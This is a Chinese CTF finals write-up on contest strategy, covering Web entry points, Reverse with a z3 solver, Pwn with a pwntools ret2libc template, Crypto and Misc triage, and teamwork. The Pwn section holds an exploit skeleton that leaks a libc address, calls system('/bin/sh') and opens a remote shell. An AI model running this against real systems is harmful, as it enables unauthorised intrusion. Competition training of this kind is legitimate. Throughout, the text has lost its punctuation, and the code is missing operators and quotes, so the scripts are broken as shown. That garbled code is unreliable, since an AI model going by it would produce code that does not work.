决赛的计时器一跳起来屏幕右上角的数字就开始往下掉题目列表里十几道题按分值排开从一百分到五百分不等每道题的通过人数还在实时变化。这就是省级大学生网络安全竞赛决赛最常见的开场画面——和我们平时在线上慢慢磨的那些题完全不是一回事。这篇 WriteUp 不打算按“第几题、什么解法”流水账式地记一遍而是想把整场 CTF 决赛里真正起作用的东西拆开讲赛制怎么影响策略、Web 和二进制两条主线上的推演链路长什么样、Crypto 和 Misc 该怎么抢时间、三个人怎么分工不打架、以及赛后复盘时那些“下次一定不会再犯”的坑到底是怎么形成的。适合刚打完校赛想冲省赛的同学也适合带队的学长学姐拿去当训练大纲。所有内容都基于竞赛授权环境内的解题实践脱离这个前提去谈技术细节没有任何意义。1. 决赛赛制与题型分布开赛前十分钟该摸清什么很多人把决赛当成“线上赛的加时版”带着线上赛那套节奏进场结果前四十分钟全废在环境适配上。决赛和线上赛的差别不在题目难度而在约束条件变了。约束一变最优策略就得整个推翻重排。1.1 从线上排位到现场决赛赛制到底变在哪三处第一处是时间。线上赛常见 24 小时甚至 48 小时你可以半夜三点爬起来换思路可以一边查资料一边试决赛通常压缩到 3 到 4 小时中间还包括环境确认和提交验证。时间一压缩“试错”这件事的成本就从“多花两小时”变成了“少做一道题”。第二处是环境。现场决赛一般是封闭内网靶机在内网可达外网不通。这意味着你平时依赖的在线工具、在线反编译器、随手搜一下的 writeup 全都没了。我在赛前检查清单里一定会确认本地有没有装好反编译工具链、Python 的三方库齐不齐、有没有离线的编码转换工具。有队伍在第一题上卡了二十分钟最后发现是本地缺一个解压库这种损失完全没必要。第三处是判分。线上赛很多是固定分值决赛更常见的是动态积分——同一道题第一个解出来的人拿满分后面每多一个人解出分值就往下降。这个机制直接改变了收益模型一道 200 分的题如果已经有二十支队解出它实际价值可能只剩八十分而一道没人碰的 500 分题哪怕只有三成把握期望收益也更高。但注意这是期望不是保证。三小时的赛制里我倾向于先把“确定能拿的分”全部收走再去赌高分题因为赌输的代价是零分收场。提示开赛后不要立刻埋头做题。花三到五分钟把题目列表按“方向 当前解出人数 分值”过一遍在心里排一个优先级队列这个动作的回报率高得离谱。1.2 动态积分下的抢分顺序怎么排下面这张表是我在几次比赛后总结出来的经验排序不是绝对规则但大方向很少出错题型典型初始分值首解难度建议投入窗口备注Misc 签到类100极低开赛后 10 分钟内通常是编码转换、文件识别Web 基础150-200低前 40 分钟目录扫描 源码泄露Reverse 简单200中前 60 分钟有提示字符串的题优先Crypto 常规250中60-100 分钟参数特征明显的优先Pwn 入门300中高90 分钟以后需要环境对齐容易卡综合性难题400-500高视剩余时间只在有余量时碰排序逻辑很简单单位时间得分率。Misc 签到题可能三分钟就拿一百分折算下来每分钟三十多分一道五百分的 Pwn 题如果要做两小时每分钟才四分。动态积分机制下早解出的题还能吃到分值高位所以“快”本身就是一种策略优势。还有一条容易被忽略的同一道题不要两个人同时做。动态积分下重复劳动是纯亏损。除非这道题的分值特别高、且两人走的是完全不同的技术路线比如一个人逆算法、一个人爆破否则就是浪费战力。1.3 开赛前必须确认的五个环境细节这五条我每次都会过一遍缺一条都可能在关键时刻掉链子网络可达性靶机地址能不能 ping 通、端口能不能连上。有些赛事的靶机是开赛后才启动的早连会超时别误判成题目挂了。附件完整性压缩包有没有密码、有没有分卷、解压后文件大小对不对。曾经遇到过附件下载中断解压出来只有一个空目录白折腾十分钟。工具版本本地 Python 版本、脚本库版本、反编译工具版本。现场如果只有一台机器最好提前把虚拟环境打好包。提交格式flag 的前缀、大小写、有没有额外包裹的大括号。有些比赛提交框会自动加前缀你再手动加一遍就错了。时间基准本地时间和靶机时间是否一致。涉及时间戳、随机种子的题时区差八小时能让你怀疑人生。注意现场环境里“我本地能跑”这句话没有任何说服力。凡是依赖特定版本的脚本开赛前先在现场机器上跑一遍最小用例确认输出符合预期再放进正式流程。2. Web 题的两条主线源码泄露入口与业务逻辑断点Web 方向在决赛里几乎是必考而且出题思路高度集中在两个地方你根本不该看到的东西被你看到了信息泄露以及你本不该做的事你做到了逻辑与权限。这两条主线覆盖了绝大多数中低难度题也是性价比最高的突破口。2.1 拿到一个地址后的三分钟信息采集清单很多同学拿到 URL 就直接上手试注入这是效率最低的路径。我习惯先做一轮不加任何攻击性的“体检”把信息面铺开探测点动作常见结果首页与响应头看 Server、X-Powered-By、Set-Cookie判断语言与框架目录与文件常见敏感路径与备份后缀源码包、配置文件版本控制残留检查是否存在仓库元数据目录完整源码前端资源翻 JS 文件里的接口路径与注释隐藏接口、测试账号错误页构造异常参数看报错路径泄露、框架版本机器人协议文件读取站点根目录的爬虫约定文件隐藏目录名这套流程的关键在于“先铺后挖”。信息采集阶段不要纠结于某个点把所有可疑点列成清单然后按“最可能直接给出源码”的顺序依次验证。我个人的经验是决赛难度的 Web 题里前十道里有六道的入口是源码或者配置文件泄露因为出题人希望你有源码可读这样题目才“讲道理”。为什么出题人偏爱这个入口因为纯黑盒的 Web 题不可控——选手可能用一条你没想到的路径打穿也可能因为环境差异完全打不动。给一份源码等于把题目的边界画清楚了你需要理解代码逻辑找到里面那个“本不该存在的分支”。理解了这一层你就会明白为什么读源码比盲扫更重要。读源码有个技巧不要在入口文件上一行行看先找路由注册和参数接收点把“外部输入能到达哪些函数”画成一张简图然后重点看这些函数的汇合处。真正的漏洞几乎总在“用户可控数据”和“危险操作”交叉的那个节点上。2.2 一道“必须先登录”的题是怎么被绕过的决赛里非常典型的一类题首页是一个登录框登录成功后才给 flag但你手上没有任何账号。很多人的第一反应是爆破这条路在决赛里基本走不通——出题人要么加了频率限制要么密码空间足够大。正确的思路是问一句“登录成功”这个状态服务端是怎么记住的如果状态存在服务端的会话里那你要么拿到别人的会话标识要么让服务端认为你就是那个用户如果状态存在客户端的令牌里那就要看这个令牌有没有做完整性校验。这两种情况对应完全不同的打法会话标识可预测观察标识的生成规律看它是不是基于用户名、时间戳或递增序列拼出来的。有规律的标识就等于没有标识。客户端令牌无签名校验令牌内容可以被直接读取和改写。这时候要把令牌里的每个字段都当成用户输入来对待尤其是那些看起来像“身份”或“角色”的字段。令牌有签名但密钥弱密钥空间小的情况下可以做离线比对。这类题在决赛里出现频率不高因为耗时不可控。还有一条经常被忽略的路径接口鉴权不一致。前端页面拦截了未登录用户但后端某个接口忘了加校验。翻 JS 文件把所有接口列出来逐个用未认证状态请求一遍经常能捡到漏。这类问题的本质是“校验放在了展示层而不是数据层”是真实系统里也非常常见的设计缺陷出题人拿它做考点很合理。再说一类看起来更“高级”但其实套路很固定的模板注入和反序列化。识别它们不需要多深的功底只需要看两件事——用户输入有没有被拼进模板字符串、有没有出现序列化的数据流。但能不能打通是另一回事取决于框架版本、依赖库、以及目标环境里有没有可用的利用链。2.3 反序列化与模板注入什么时候该果断放弃我要说一句可能不太受欢迎的话在 3 小时的决赛里如果没有现成的利用链反序列化题应该尽早放弃。原因很实在——这类题的解法高度依赖具体版本和依赖组合你需要构造一条从入口到执行点的完整链条中途任何一个环节版本不匹配就全盘作废。而构造链条的过程中你无法判断自己是“还差一步”还是“方向根本错了”这种不确定性在限时赛制里是最贵的东西。我给自己定的规则是一道题投入 25 分钟没有任何“可控点”的进展能控制输入、能看到回显、能触发异常就标黄换题投入 45 分钟还没拿到一半的路径就标红彻底放弃。这个阈值不是拍脑袋来的而是基于“剩余时间里其他题的期望收益”算的——三小时里你有大约 150 分钟的有效做题时间把 45 分钟沉在一道题上剩下 105 分钟要覆盖其他所有题压力会非常大。模板注入相对好一点因为它的验证成本低改一个参数看回显有没有被求值三十秒就能判断方向对不对。这种“快速可证伪”的题值得多给点时间。3. 二进制方向Reverse 的静态追踪与 Pwn 的栈布局推演二进制题在决赛里的定位比较特殊——分值高、门槛高、但一旦打通就是稳定的高分。它不像 Web 那样可以靠信息面铺开碰运气也不像 Crypto 那样有时候靠一个数学直觉就能秒。二进制靠的是流程化的推演步骤对了就一定能出结果步骤错了就原地打转。3.1 Reverse从提示字符串倒推核心校验函数拿到一个可执行文件我第一步永远是看字符串不是看反汇编。理由很朴素出题人为了让题目“可解”几乎必然会在程序里留下提示——成功提示、失败提示、输入提示。这些字符串就是路标。具体动作是列出所有可疑字符串找到类似“输入”“错误”“正确”“恭喜”这类内容然后查它们的交叉引用看是哪个函数在使用它们。顺着这个函数往回看就能落到核心校验逻辑上。这条路径的命中率我估计在八成以上远高于从入口点一路往下读。找到校验函数之后接下来的问题是理解算法。决赛里常见的三种形态逐字节比较最容易直接把比较的目标值 dump 出来当输入。简单变换后比较比如异或一个常量、加一个偏移、查一张表。这类要写脚本反推。自定义的伪加密算法多轮位移、混合运算。这类适合直接上约束求解器。第三种情况给个骨架思路是把每个字节当成独立的符号变量把算法翻译成约束交给求解器from z3 import * flag [BitVec(fc{i}, 8) for i in range(32)] s Solver() for c in flag: s.add(c 0x20, c 0x7e) # 限定可打印字符能大幅缩小搜索空间 # 这里按实际算法逐字节翻译示意每个字节先异或再加常量最后等于目标值 target [0x3a, 0x51, 0x2c] # 从程序里 dump 出来的比较目标 for i, c in enumerate(flag[:3]): s.add(((c ^ 0x5a) 0x11) 0xff target[i]) if s.check() sat: m s.model() print(bytes([m[c].as_long() for c in flag]))这段代码值得说的点在于“限定取值范围”那一行。很多人写约束求解时忘了加可打印字符范围求解器就会在巨大的空间里乱搜跑几分钟都不出结果。加上范围约束之后搜索空间从 256 的 N 次方骤降到 95 的 N 次方速度差异非常明显。还有一个实用技巧如果程序是逐字节独立校验的每个字节的校验互不影响那根本不用上求解器直接对每个字节做 256 次穷举一次运行就能全解出来。判断依据是看校验循环里有没有跨字节的依赖比如前一个字节参与后一个字节的运算。3.2 Pwn泄露基址之后的偏移计算与栈对齐Pwn 题在决赛里通常是分档的入门题考栈溢出覆盖返回地址中等题考泄露地址绕过随机化难题考堆或者格式化字符串。三小时赛制下能稳拿的是前两档。标准流程我拆成四步第一步找溢出点。看到读取函数就要算缓冲区大小和实际读取长度两者不匹配就是溢出点。这一步不需要调试器静态看就行。第二步确定偏移。从缓冲区起始位置到返回地址的距离。可以用循环递增的输入配合崩溃地址来定位也可以直接用调试器看栈布局。我倾向于后者因为快。第三步泄露地址。如果开了地址随机化必须先泄露一个已知函数的运行时地址再减去它在该库里的偏移得到库的基址。这里有个细节泄露的那个函数必须在你手上的库文件里有明确偏移通常优先选输出类函数因为它们的调用点容易构造。第四步构造利用链。基址拿到之后执行函数和参数字符串的地址都能算出来剩下的就是拼 payload。给一个典型的骨架重点看 payload 的构造顺序from pwn import * context(log_levelinfo, archamd64, oslinux) io remote(host, port) # 先泄露再回到漏洞函数重新来一次 payload1 bA * 0x48 p64(pop_rdi) p64(puts_got) p64(vuln_addr) io.sendlineafter(b , payload1) leak u64(io.recvline().strip().ljust(8, b\x00)) base leak - puts_offset log.success(fbase {hex(base)}) # 第二次打的时候补一个 ret修正栈对齐 payload2 bA * 0x48 p64(ret) p64(pop_rdi) p64(base binsh_offset) p64(base system_offset) io.sendlineafter(b , payload2) io.interactive()p64(ret)那一个空返回地址是最容易被忽略也最容易让人崩溃的细节。它的作用是调整栈指针对齐——某些架构下的指令要求栈地址按 16 字节对齐如果调用时没对齐程序会在一个跟漏洞毫无关系的位置崩掉报出来的错误看起来像是“利用链写错了”实际只是差了八个字节。我第一次遇到这个问题时整整排查了四十分钟最后发现加一个空返回地址就好了。3.3 本地打通远程打不通时的四层排查顺序这是决赛里最常见的挫败场景本地脚本跑得漂漂亮亮连上远程就是不回显。别急着改 payload按下面这个顺序查层级检查项典型现象处理方式第一层库文件版本是否一致偏移算出来是垃圾地址用题目给的库文件重新算偏移第二层栈对齐是否正确崩溃在调用内部的无关位置在链前补一个空返回地址第三层交互时序是否匹配卡在读数据没有输出调整等待条件改按提示符同步第四层长度与截断前面能过后面数据丢失检查特殊字节、检查单次读取上限四层里最容易出错的是第一层。很多人图省事直接拿系统自带的库文件算偏移结果远程用的完全是另一个版本偏移差几百个字节。这类错误的表现非常迷惑——exploit 结构完全正确就是不成功。养成习惯题目给了库文件就用题目给的没给就先泄露再反推绝不假设版本。第三层的时序问题也很折磨人。有些题目的输出没有换行用“读到换行”的方式同步就会一直阻塞。正确做法是读到提示符或者读固定长度而不是傻等换行符。4. Crypto 与 Misc先做结构判断再动手写脚本这两个方向在决赛里的定位是“稳定得分区”。它们不像二进制那样需要环境对齐也不像 Web 那样依赖信息面只要方向判断对了剩下的就是写脚本。但“判断对了”这四个字恰恰是最花功夫的部分。4.1 Crypto 题的第一步是认结构不是算数拿到一道密码题先别急着看数字先看参数有什么特征。特征的组合基本就能定位题型定位准了解法是现成的。参数特征可能的结构首步动作指数很小模数很大小指数攻击直接对密文开方试解两组密文用同一个模数共模相关构造线性组合消元两个模数不互素模数分解求最大公约数递推式给出连续输出线性同余类消元反推种子密文长度等于明文长度流式异或找重复密钥或已知明文同一明文用不同指数加密广播场景联合求解这张表的价值不在于教你具体算法而在于告诉你先花两分钟认亲。我见过太多人拿到题就闷头写脚本写了半小时发现方向完全不对。而认结构这个动作熟练之后往往一分钟就够。举个具体例子。题目给出两组密文、两个不同的指数、同一个模数看起来是个难题。但只要是“同一模数 不同指数 同一明文”就属于广播场景把两组关系式做线性组合就能直接消掉未知的填充项得到一个关于明文的多项式开方即得。整个脚本不超过二十行。如果没认出这个结构你可能会往“分解大整数”的方向走那就是死路。再举一个线性递推类题目给出连续若干次输出要求还原种子。这类题的关键是“输出之间存在线性关系”只要未知数个数和方程个数匹配直接解线性方程组就行。麻烦的地方在于模运算下的消元需要用逆元而不是除法。这一点很多人在纸上想得通写代码时忘了取模逆结果算出小数。4.2 Misc 的三条固定套路压缩包、流量包、图片Misc 是最容易“多拿分”的地方因为套路极其固定。我把它拆成三条线遇到题先归类压缩包线索。密码未知时先判断是伪加密还是真加密——有些压缩包的加密标志位被改过实际并没有加密手工修一下标志位就能直接解压。其次是明文攻击如果题目同时给了压缩包和其中一个已知文件就可以用它做已知明文恢复。最后才是字典与掩码爆破而且要注意掩码长度别一上来就跑八位以上那是给比赛送时间的。流量包线索。打开之后第一件事是看协议分布统计而不是从头翻包。占比异常的协议就是线索所在。其次是过滤特定字段找关键字布尔条件组合用起来比肉眼翻快一百倍。导出对象是最后一步因为导出的文件往往还需要二次分析。图片与文件线索。拿到一个图片先看文件尾有没有附加内容再看文件头是否与后缀一致。改后缀这件事看着简单但确实有队伍在这一步卡住。然后才是像素层面的分析。至于藏在文件内部的压缩包用常规的分离工具跑一遍就够不用一上来就上重型工具。提示Misc 题的性价比来自“工具链熟练度”。同一个操作熟手三十秒生手五分钟。赛前把常用命令写成脚本别名收益比多刷十道题还高。4.3 把手动步骤固化成可复用的脚本我赛后复盘时发现每次比赛里重复劳动的时间占比高得吓人反复输入相似的解码命令、反复改同一段脚本的路径、反复重算同一个偏移。解决办法是赛前准备好模板现场只填变量。我常用的一个“通用解题脚本”框架长这样作用是把输入输出和中间步骤都统一起来import sys, pathlib, subprocess WORK pathlib.Path(./work) WORK.mkdir(exist_okTrue) def run(cmd: str) - str: 执行命令并返回输出所有中间结果都留档方便回溯 print(f[*] {cmd}) out subprocess.run(cmd, shellTrue, capture_outputTrue).stdout return out.decode(errorsignore) def show(label: str, data: bytes) - None: 同时打印十六进制和可打印形式避免来回切换工具 print(f[] {label}: {data.hex()}) print(f[] {label}: {data!r}) if __name__ __main__: target sys.argv[1] info run(ffile {target}) show(file, info.encode())这段代码本身不解决任何题目但它解决了一个更隐蔽的问题心理负担。当所有中间结果都有记录、所有命令都打印出来你就不需要靠记忆去回溯“刚才那个输出是什么”。在限时赛制里减少一次记忆检索就减少一次出错机会。5. 三人三小时的协作分工方式与卡题止损线技术之外协作是决定成绩的第二个变量。我见过技术很强的队伍打得稀烂也见过技术水平一般的队伍靠配合拿到不错的名次。差别就在分工和止损。5.1 按“卡点”分工比按“方向”分工更有效最直觉的分工是“你打 Web我打二进制他打杂项”。这个分法在一开始管用但它有个致命缺陷它假设每道题的卡点都在同一个方向上。实际上一道 Web 题可能卡在逆向一段混淆逻辑上一道二进制题可能卡在写一个正则上一道杂项题可能卡在算一个大整数上。我更推荐的分法是“主攻 支援”每人认领一个主方向但支援角色是流动的。谁手上的题出现了可分离的子任务就把子任务甩出去。比如 Web 手在做代码审计发现有个加密算法看不懂直接把这部分扔给负责密码的队友二进制手在调栈布局需要写一个批量测试脚本扔给擅长写脚本的队友。这个模式能跑起来的前提是任务描述要足够小。不要说“你帮我看看这个 Web 题”要说“这段 Python 函数输入是 32 字节输出是 32 字节我需要知道输入和输出的映射关系是不是可逆的”。后者队友五分钟能给你答案前者他要花二十分钟理解上下文。5.2 交接文档的最小信息集多人协作最容易出的事故是“两个人同时在改同一份脚本”。解决办法不是靠喊是靠一份最小化的交接记录。我习惯在共享文档里给每道在做的题开一条记录包含四个字段当前状态做到哪一步了已知什么还缺什么。已排除项试过但明确不行的路径附一句话原因。这一项最省时间能防住队友重复踩坑。下一步动作接下来打算试什么。占用情况谁在做预计还要多久。这四项里“已排除项”是最有价值也最容易被省略的。人在急着出结果的时候不愿意写“我试过这个不行”但对队友来说这句话可能省下二十分钟。5.3 什么信号说明该换题了止损是反人性的因为它要求你在还有希望的时候主动放弃。所以我给自己定了几条硬性信号出现任意一条就换题不讨论四十分钟没有任何可验证的进展注意是“可验证”不是“我觉得快好了”。依赖一个无法控制的条件比如需要某个特定版本、需要网络可达、需要额外的库文件而现场无法满足。同一道题三次尝试都撞在同一面墙上说明假设本身有问题而不是手法不对。剩余时间除以剩余题数小于这道题的预估耗时这条是纯算术但非常有效。还有一条软性信号如果队里三个人都在这道题上而且已经十分钟没有交流了那就是全员陷进去了。这时候必须有一个人主动跳出来去看别的题。跳出的人不是逃跑是止损。6. 复盘中反复出现的坑与对应改法赛后复盘最有价值的部分不是“这题解法是什么”而是“我为什么没在第一时间想到这个解法”。前者是一次性的后者会反复发生。6.1 环境类坑编码、版本、时区这三类坑占了我在比赛里浪费时间的七成以上。编码问题最常见。一段看起来正常的字符串复制到脚本里变成乱码或者长度对不上。根因是字符集和字节序列混淆了。判断方法很简单直接打印字节形式和十六进制形式对比长度对不上就是编码问题。版本问题第二常见。同一个库的两个版本接口名一样但行为不同脚本跑出来的结果莫名其妙。对策是把依赖的具体版本记在脚本头部注释里现场照着装。时区问题最隐蔽因为它不影响程序运行只影响结果。凡是题目里出现时间戳、日期、随机种子先把本地时间和靶机时间对齐。有个小技巧在靶机上执行一条打印当前时间的命令和你本地时间对比差多少心里有数。6.2 思路类坑过早锁定单一假设这是最难自查的坑因为你身在其中时完全感觉不到。典型表现是看到一段可疑代码立刻认定这就是漏洞点然后花一小时试图打通最后发现真正的入口在另一个文件里。对抗这个倾向的方法我用了两年比较有效每做出一个关键假设就在纸上写下来并写下一条能证伪它的实验。然后先做那个实验再去实现基于假设的利用。实验的成本通常很低比如“如果这个参数可控那么传入特殊字符应该会影响回显”——三十秒就能验证。花三十秒验证比花三十分钟走错路划算得多。另一个方法更笨但更管用每二十分钟停下来用一句话描述自己现在在做什么。如果这句话说不清楚说明你已经迷失了。我大赛时会在便签上写“当前目标确认接口 A 的鉴权是否在校验层”写不出来就换题。6.3 把复盘写成下次能直接用的检查清单复盘如果只写“下次注意”那等于没写。有用的复盘必须变成可执行的动作下次开赛直接照着做。我现在的复盘模板只有三块复盘项具体内容转化成的动作做对了什么哪条路径判断准、哪个决策省了时间固化成流程的第一步做错了什么具体卡了多久、卡在哪一步写成检查清单里的一条缺什么工具、脚本、知识缺口赛前列进准备清单举个转化例子。某次比赛我在一道题上卡了半小时原因是没意识到题目给的库文件版本和远程不一致。这个复盘的结论不是“下次注意版本”而是“凡是给了库文件的二进制题第一步先校验版本标识再算偏移”。这条已经进了我的赛前检查清单之后没再犯过。再举个例子。有次 Misc 题卡在压缩包上事后发现是伪加密只要改一个标志位就行。转化后的动作是“所有压缩包题目第一步先检查加密标志位再做密码尝试”。这个动作五秒钟能省掉一整轮无意义的爆破。我个人在实际操作中的体会是比赛成绩的差距技术层面的比重远没有大家想象的那么大。真正拉开距离的是那些不起眼的习惯进场先摸环境和分值、每个假设都找一条证伪路径、四十分钟没进展就止损、复盘必须落到具体动作。这些东西不炫技但它们的复利非常高。下一场之前不妨先把自己上一次的比赛记录翻出来对照上面这几条看看你会发现大部分失误其实长得一模一样。